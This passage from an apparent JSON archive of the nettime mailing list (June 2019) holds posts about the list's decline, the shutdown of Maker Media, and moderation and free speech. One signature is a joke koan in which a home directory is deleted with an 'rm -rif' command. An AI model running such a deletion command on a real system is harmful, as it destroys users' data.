they pop in or out like virtual particles int he cyber-aether, usually pop out clear thought.\n\nAnother thing is that for the past three years, I have been traveling into Central Asia, Married an Iranian, coming to know the Eastern Hemisphere, and seeing what Geert Lovink and I had long discussions on here in Abu Dhabi relating the slide of Krokerian Bimodernism to American global colonial war capitalism under the Plan for the New American Century to the collapse into spheres of influence with the rise of Trump.&nbsp; Actually a lot more than this, but the flood of understanding has taken a while to coalesce.\n\nLooking forward to more conversation.\n\n\nOn Sat, 8 Jun 2019 15:21:58 +0000, Sean Cubitt\n\n wrote:\n\n\n\n\n\nI've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n\n&nbsp;\n\nthe thing that keeps nettime valuable is a) the contributors,&nbsp;timeliness, and&nbsp;swift smart dialogues and b) that there still seems to be a common purpose.&nbsp;\n\n&nbsp;\n\nsocial media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?&nbsp;\n\n&nbsp;\n\nOther lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc.&nbsp;\n\n&nbsp;\n\nMailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n\n&nbsp;\n\nin a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,&nbsp;politics and&nbsp;aesthetic&nbsp;politics of the early C21st --&nbsp;consideration, wonder and hope\n\n&nbsp;\n\n\n\nSean\n\n&nbsp;\n\n&nbsp;\n\n\n\n\n\nFrom: nettime-l-bounces@mail.kein.org &lt;nettime-l-bounces@mail.kein.org&gt; on behalf of nettime-l-request@mail.kein.org &lt;nettime-l-request@mail.kein.org&gt;\nSent: 08 June 2019 15:45\nTo: nettime-l@mail.kein.org\nSubject: nettime-l Digest, Vol 141, Issue 11\n\n&nbsp;\n\n\n\nSend nettime-l mailing list submissions to\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l@mail.kein.org\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\n http://mx.kein.org/mailman/listinfo/nettime-l \n\n\n\n\n\n\n\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n &nbsp;\n\n\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n nettime-l Info Page - mx.kein.org\n\n\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n mx.kein.org\n\n\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n -- a moderated mailing list for net criticism &lt;nettime&gt; is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n\n\n\n\n\n\n\nor, via email, send a message with subject or body 'help' to\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-request@mail.kein.org\n\nYou can reach the person managing the list at\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-owner@mail.kein.org\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of nettime-l digest...\"\n\n\nToday's Topics:\n\n&nbsp;&nbsp; 1. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it.\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston)\n&nbsp;&nbsp; 2. The Maker Movement is abandoned by its corporate sponsors;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws in the towel (Bruce Sterling)\n&nbsp;&nbsp; 3. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it.\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston)\n\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sat, 08 Jun 2019 15:06:56 +0100\nFrom: John Preston &lt;wcerfgba@riseup.net&gt;\nTo: nettime-l@mail.kein.org\nSubject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it.\nMessage-ID: &lt;07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net&gt;\nContent-Type: text/plain; charset=\"utf-8\"\n\nJust forwarding this up.\n\n\n-------- Original Message --------\nFrom: Karim Brohi &lt;karim@trauma.org&gt;\nSent: 8 June 2019 14:35:45 BST\nTo: John Preston &lt;wcerfgba@riseup.net&gt;\nSubject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it.\n\nNettime is in bad shape - as are most (all?) of the email based discussion\ngroups on the Interwebs now.\nI run another mailing list, started in 1995 in a medical specialty area- -\nwhich finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for\nmost, email tends to be a flood of work stuff and a pseudo todo list.\nDrafting an email is now work, and not associated with pleasure or pure\nintellectual pursuit.\n\nBut there's no other suitable medium either.&nbsp; Social media platforms are\ntoo brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\".\nBlog posts and newsletters are too one-sided.&nbsp; Developed/owned by a\nspecific individual/group of individuals, Comments never have the same\nprecedence as the original post.&nbsp; The post 'belongs' to the originator, not\nto the community.\n\nMaybe usenet/google groups comes close, but nobody uses them - perhaps\nbecause there's no (effective) 'app for that', and there has to be an\nactive process of logging in.&nbsp; (Email alerts end up in... email).\n\nIn brief - I think it's the medium not the message.&nbsp; The whole Internet\nneeds a new medium that encourages long-form discourse and thereby deep\ncommunity.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is\nnow.\n\nKarim\n\n\n\n\n\nOn Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote:\n\n&gt; Just adding my two cents, as per the call. :)\n&gt;\n&gt; I only discovered nettime in the last few months. I'm a computer-child,\n&gt; I've grown up on the net, and one of the people who now take a more\n&gt; conservative or critical approach to tech. I came here because I am trying\n&gt; to develop as an artist, working with the net as a medium and reflecting\n&gt; critically on the net and its constituent parts. I don't post in to every\n&gt; thread because a lot of the time I don't have anything worthwhile to add,\n&gt; but I appreciate reading: most of the contributions on this list are really\n&gt; insightful.\n&gt;\n&gt; The fact that people are posting meta threads like this is a good sign to\n&gt; me, I appreciate a community that can take a critical view of itself. If\n&gt; nettime does rap up, let me know where you all go, I'd like to talk more. :)\n&gt;\n&gt; John\n&gt;\n&gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote:\n&gt;&gt;\n&gt;&gt; Nettime is in bad shape, don't you think?\n&gt;&gt;\n&gt;&gt; It has still a lot of goodwill, and more generally there's renewed\n&gt;&gt; interest in formats of exchange and collective thinking that\n&gt;&gt; aren't defined by the logic of social media. But the dynamics that\n&gt;&gt; social media companies exploit are hardly limited to a handful of\n&gt;&gt; platforms. For example, nettime has its own 'influencers' -- a 1%,\n&gt;&gt; so to speak -- who generate the vast majority of list traffic.\n&gt;&gt; That's been true for years. The discussions they sustain may\n&gt;&gt; variously seem interesting or annoying, but either way they've\n&gt;&gt; become somewhat formulaic. An attentive reader knows more or less\n&gt;&gt; what to expect based solely the subject and the sender; and even\n&gt;&gt; meta-discussions about whether the list is dominated or by this or\n&gt;&gt; that tendency are largely dominated by the same few people.\n&gt;&gt;\n&gt;&gt; Some might argue the debates that have animated nettime over the\n&gt;&gt; last year -- the trajectories of postwar society, neoliberalism,\n&gt;&gt; the 'digital,' complexity, surveillance and big tech, Brexit,\n&gt;&gt; media and elections, Assange, even the Anthropocene in all its\n&gt;&gt; terrifying inclusiveness -- are the defining issues of the day.\n&gt;&gt; Maybe so. But if the nettime project had settled for a consensus\n&gt;&gt; model of the defining issues of the mid-'90s, it would never have\n&gt;&gt; gotten off the ground, and it certainly wouldn't exist almost 25\n&gt;&gt; years later. The challenge, we think, is to maintain a space that\n&gt;&gt; attracts ill-defined ideas and uncertain issues -- things and\n&gt;&gt; not-things that don't quite exist yet and yet haven't been buried\n&gt;&gt; under torrents of authority and theory.\n&gt;&gt;\n&gt;&gt; So, what can we do?\n&gt;&gt;\n&gt;&gt; In the past, we've asked people to think about outreach -- say,\n&gt;&gt; inviting new people from new contexts. It seems like that's had\n&gt;&gt; limited success; but at a time when nettime has been limping\n&gt;&gt; along, it's hard to get excited about inviting people to join an\n&gt;&gt; environment so heavily defined by habit. We've also joked that\n&gt;&gt; shutting it down before it fades into complete senescence might be\n&gt;&gt; best. But that joke wasn't really funny, in part because it wasn't\n&gt;&gt; meant to be: it was a way of expressing serious concerns about the\n&gt;&gt; list's increasingly parochial status.\n&gt;&gt;\n&gt;&gt; Now, we have a simple proposal: let's switch roles.\n&gt;&gt;\n&gt;&gt; It goes like this:\n&gt;&gt;\n&gt;&gt; If you've posted more than others to the list in the last 60 or 90\n&gt;&gt; or 120 or 180 days -- the math matters less than the spirit -- take\n&gt;&gt; a break. Let others define nettime, a space made up of nearly 5000\n&gt;&gt; subscribers.\n&gt;&gt;\n&gt;&gt; If you haven't posted to the list -- say, because it seemed like\n&gt;&gt; your ideas, concerns, or whatever you want to share wouldn't fit\n&gt;&gt; with nettime's habits -- maybe that will change.\n&gt;&gt;\n&gt;&gt; Think of it as an un-grand experiment: a way to see what else\n&gt;&gt; might happen, who else might speak, what less familiar ideas,\n&gt;&gt; perspectives, or styles might spring up. Maybe the list will fade\n&gt;&gt; into silence, and we'll be left with a paradoxical object, a list\n&gt;&gt; composed *entirely* of lurkers -- not such a bad non-end for\n&gt;&gt; nettime. Or maybe not. There might be many ways to find out. For\n&gt;&gt; now, rather than the 1% debating how narrowly to define good\n&gt;&gt; manners, let's see if a different 'we' can change things.\n&gt;&gt;\n&gt;&gt;\n&gt;&gt; -- the mod squad (Ted and Felix)\n&gt;&gt;\n&gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n&gt;&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n&gt;&gt; #&nbsp; collaborative text filtering and cultural politics of the nets\n&gt;&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n&gt;&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org\n&gt;&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n&gt;&gt;\n&gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n&gt; #&nbsp; collaborative text filtering and cultural politics of the nets\n&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org\n&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: &lt;http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html&gt;\n\n------------------------------\n\nMessage: 2\nDate: Sat, 8 Jun 2019 16:21:37 +0200\nFrom: Bruce Sterling &lt;bruces@well.com&gt;\nTo: nettime-l@kein.org\nSubject: &lt;nettime&gt; The Maker Movement is abandoned by its corporate\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sponsors; throws in the towel\nMessage-ID: &lt;A342CE24-4F26-441E-BDBE-38F833458B29@well.com&gt;\nContent-Type: text/plain;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset=utf-8\n\n*Well, so much for the O?Reilly Web 2.0 version of popular mechanics.&nbsp; Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.&nbsp; Now what? ? Bruce S\n\n\nMaker Media goes broke\nhttps://hackaday.com/2019/06/07/maker-media-ceases-operations/\n\nOver the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n\nBetween the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n\nWhile this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.\n\nIn layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n\n***\n\nhttps://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n\nFinancial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n\nFor 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.\n\n?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n\n\n\n------------------------------\n\nMessage: 3\nDate: Sat, 08 Jun 2019 07:45:08 -0700\nFrom: John Preston &lt;wcerfgba@riseup.net&gt;\nTo: nettime-l@mail.kein.org\nSubject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it.\nMessage-ID: &lt;f8f8006bb46447a36e1e1a7d5171fbda@riseup.net&gt;\nContent-Type: text/plain; charset=US-ASCII\n\nEach medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n&gt; Just forwarding this up.\n&gt;\n&gt; -------------------------\n&gt; FROM: Karim Brohi &lt;karim@trauma.org&gt;\n&gt; SENT: 8 June 2019 14:35:45 BST\n&gt; TO: John Preston &lt;wcerfgba@riseup.net&gt;\n&gt; SUBJECT: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it.\n&gt;\n&gt; Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now.\n&gt; I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for most, email tends to be a flood of work stuff and a pseudo todo list.&nbsp; Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.\n&gt;\n&gt; But there's no other suitable medium either.&nbsp; Social media platforms are too brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\".&nbsp; Blog posts and newsletters are too one-sided.&nbsp; Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.&nbsp; The post 'belongs' to the originator, not to the community.\n&gt;\n&gt; Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.&nbsp; (Email alerts end up in... email).\n&gt;\n&gt; In brief - I think it's the medium not the message.&nbsp; The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is now.\n&gt;\n&gt; Karim\n&gt;\n&gt; On Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote:\n&gt; Just adding my two cents, as per the call. :)\n&gt;\n&gt; I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n&gt;\n&gt; The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n&gt;\n&gt; John\n&gt;\n&gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote:\n&gt;\n&gt; Nettime is in bad shape, don't you think?\n&gt;\n&gt; It has still a lot of goodwill, and more generally there's renewed\n&gt; interest in formats of exchange and collective thinking that\n&gt; aren't defined by the logic of social media. But the dynamics that\n&gt; social media companies exploit are hardly limited to a handful of\n&gt; platforms. For example, nettime has its own 'influencers' -- a 1%,\n&gt; so to speak -- who generate the vast majority of list traffic.\n&gt; That's been true for years. The discussions they sustain may\n&gt; variously seem interesting or annoying, but either way they've\n&gt; become somewhat formulaic. An attentive reader knows more or less\n&gt; what to expect based solely the subject and the sender; and even\n&gt; meta-discussions about whether the list is dominated or by this or\n&gt; that tendency are largely dominated by the same few people.\n&gt;\n&gt; Some might argue the debates that have animated nettime over the\n&gt; last year -- the trajectories of postwar society, neoliberalism,\n&gt; the 'digital,' complexity, surveillance and big tech, Brexit,\n&gt; media and elections, Assange, even the Anthropocene in all its\n&gt; terrifying inclusiveness -- are the defining issues of the day.\n&gt; Maybe so. But if the nettime project had settled for a consensus\n&gt; model of the defining issues of the mid-'90s, it would never have\n&gt; gotten off the ground, and it certainly wouldn't exist almost 25\n&gt; years later. The challenge, we think, is to maintain a space that\n&gt; attracts ill-defined ideas and uncertain issues -- things and\n&gt; not-things that don't quite exist yet and yet haven't been buried\n&gt; under torrents of authority and theory.\n&gt;\n&gt; So, what can we do?\n&gt;\n&gt; In the past, we've asked people to think about outreach -- say,\n&gt; inviting new people from new contexts. It seems like that's had\n&gt; limited success; but at a time when nettime has been limping\n&gt; along, it's hard to get excited about inviting people to join an\n&gt; environment so heavily defined by habit. We've also joked that\n&gt; shutting it down before it fades into complete senescence might be\n&gt; best. But that joke wasn't really funny, in part because it wasn't\n&gt; meant to be: it was a way of expressing serious concerns about the\n&gt; list's increasingly parochial status.\n&gt;\n&gt; Now, we have a simple proposal: let's switch roles.\n&gt;\n&gt; It goes like this:\n&gt;\n&gt; If you've posted more than others to the list in the last 60 or 90\n&gt; or 120 or 180 days -- the math matters less than the spirit -- take\n&gt; a break. Let others define nettime, a space made up of nearly 5000\n&gt; subscribers.\n&gt;\n&gt; If you haven't posted to the list -- say, because it seemed like\n&gt; your ideas, concerns, or whatever you want to share wouldn't fit\n&gt; with nettime's habits -- maybe that will change.\n&gt;\n&gt; Think of it as an un-grand experiment: a way to see what else\n&gt; might happen, who else might speak, what less familiar ideas,\n&gt; perspectives, or styles might spring up. Maybe the list will fade\n&gt; into silence, and we'll be left with a paradoxical object, a list\n&gt; composed *entirely* of lurkers -- not such a bad non-end for\n&gt; nettime. Or maybe not. There might be many ways to find out. For\n&gt; now, rather than the 1% debating how narrowly to define good\n&gt; manners, let's see if a different 'we' can change things.\n&gt;\n&gt; -- the mod squad (Ted and Felix)\n&gt;\n&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n&gt; #&nbsp; collaborative text filtering and cultural politics of the nets\n&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org\n&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n&gt; #&nbsp; collaborative text filtering and cultural politics of the nets\n&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org\n&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n#&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n#&nbsp; collaborative text filtering and cultural politics of the nets\n#&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n#&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org\n#&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n------------------------------\n\n#&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission\n#&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism,\n#&nbsp; collaborative text filtering and cultural politics of the nets\n#&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l\n\nEnd of nettime-l Digest, Vol 141, Issue 11\n******************************************\n\n\n\n# distributed via : no commercial use without permission\n#\n\n is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190609/e0c01c2f/attachment.html>\n\n------------------------------\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n\nEnd of nettime-l Digest, Vol 141, Issue 14\n******************************************\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00029",
                        "date": "Mon, 10 Jun 2019 22:15:59 -0700",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "CAKLPk5s_Bt5M32pDxrcNxHsPGLMVs9428HoZxKSJB=DYpoY96w@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00029.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Ren\u00e9e Lynn Reizman",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "John Young <jya@pipeline.com>",
                        "content": "Low-poster, relative newcomer, appreciator of what nettime allows, \nconfesses hazards of doctrinaire free speech since 1992:\n\n1. Got kicked off several fora for annoying, angering, pissing off moderators.\n2. Got kicked off Twitter for violating ToS, fingered family members \nof Trump jackass.\n3. Got booted as moderator for allowing unfettered postings, \"too immoderate.\"\n4. Got rejected from several journalist-related fora for not being \nworthy, no commercial cred.\n5. Got accused often of \"going too far\" with publications and \nopinions, violated official secrecy.\n6. Got slew of mail-list postings rejected as being not appropriate, \nnot list-flattering.\n7. Operate unfettered mail list with about 50 subscribers, one of \nwhich posts at length.\n8. A list moderater committed assisted suicide beggng me to approve, \nwhich I refused, condemned. List now unmoderated, but almost dormant.\n9. Have always been opposed to moderation's censorship, redaction, \nprivileging, lollygagging, career-building, intolerance, \nbuttering-up, on and on, understanding those attributes are given for \nlanguage, intelligence, education, esteem, pride, ego, herding, \nchastising, excluding, prejudice, shitting on.\n\n10. Online has bred innumerable pestilential moderators, a very few \nexceptions, nearly all psychotic, god keep them from coercive control \nof their families, coleagues and subscribers.\n\n11. Here's a UK appeals court quashing murder rap of a woman who \nhammered her husband to death for \"coercive control:\"\n\nhttps://www.judiciary.uk/wp-content/uploads/2019/06/challen-approved.pdf\n\n12. Lurking is much superior to posting, leaking, confessing (mea culpa).\n\n13. Silence is free-est speech.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00012",
                        "date": "Fri, 07 Jun 2019 13:56:46 -0400",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "E1hZJ1q&#45;000CsD&#45;Pg@elasmtp&#45;masked.atl.sa.earthlink.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00012.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change it."
                    },
                    {
                        "follow-up": [
                            {
                                "from": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                                "content": "Thank you, Tomasz, for chiming in.\n\nYour definitions are interesting. But if we take them as a starting \npoint, I find myself still struggling to understand Frank's intended \nput-down, as well as his complaint. This list serves no real purpose \nbeyond a kind of digital entertainment at a virtual social gathering. \nI'm not dismissing it's value in that context, but as a group (however \nloosely constructed) we are not self-consciously engaged in the active \nprocess of \"changing\" anything except our own minds through dialogue. \n(Or not changing them, as is likely often the case.)\n\nSo, Frank, if that definition of bourgeois suits you, and if you agree \nwith Tomasz's framing on the connection to free speech, then why are you \nhere?\n\nFor those of us who do live in places where speech can create \ntrouble--and no doubt many of us do, and more of us may yet soon--then \nit would seem a gratuitous swipe at the speech they post here to dismiss \nit that way -- and to suggest that the moderators are ill-equipped to \nmanage it or understand it in that context.\n\nAs for my \"feeding\" habits, indeed, quite right. If anything my media \nintake is polymorphously perverse.\n\nSascha\n\n\nOn 6/7/19 3:07 PM, Tomasz Rola wrote:\nOn Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\nI resemble that remark, and I object to it strenuously!\n\nWTF is a \"consistent bourgeois misunderstanding of contextless 'free\nspeech'\"? And what makes that misunderstanding \"bourgeois\" in\nnature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\nAs for the ideological monoculture... I don't know what to do about\nthat except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                "id": "00015",
                                "date": "Fri, 7 Jun 2019 17:49:37 -0400",
                                "to": "masz Rola <rtomek@ceti.pl>, nettime-l@mail.kein.org",
                                "message-id": "905d82fc&#45;c5a6&#45;0145&#45;2f05&#45;78b387014e94@sascha.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00015.html",
                                "content-type": "text/plai",
                                "author_name": "Sascha D. Freudenheim",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            }
                        ],
                        "from": "Tomasz Rola <rtomek@ceti.pl>",
                        "content": "On Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\n> I resemble that remark, and I object to it strenuously!\n> \n> WTF is a \"consistent bourgeois misunderstanding of contextless 'free\n> speech'\"? And what makes that misunderstanding \"bourgeois\" in\n> nature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\n> As for the ideological monoculture... I don't know what to do about\n> that except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n-- \nRegards,\nTomasz Rola\n\n--\n** A C programmer asked whether computer had Buddha's nature.      **\n** As the answer, master did \"rm -rif\" on the programmer's home    **\n** directory. And then the C programmer became enlightened...      **\n**                                                                 **\n** Tomasz Rola          mailto:tomasz_rola@bigfoot.com             **\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00013",
                        "date": "Fri, 7 Jun 2019 21:07:21 +0200",
                        "to": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                        "message-id": "20190607190721.GA9266@tau1.ceti.pl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "Tomasz Rola",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
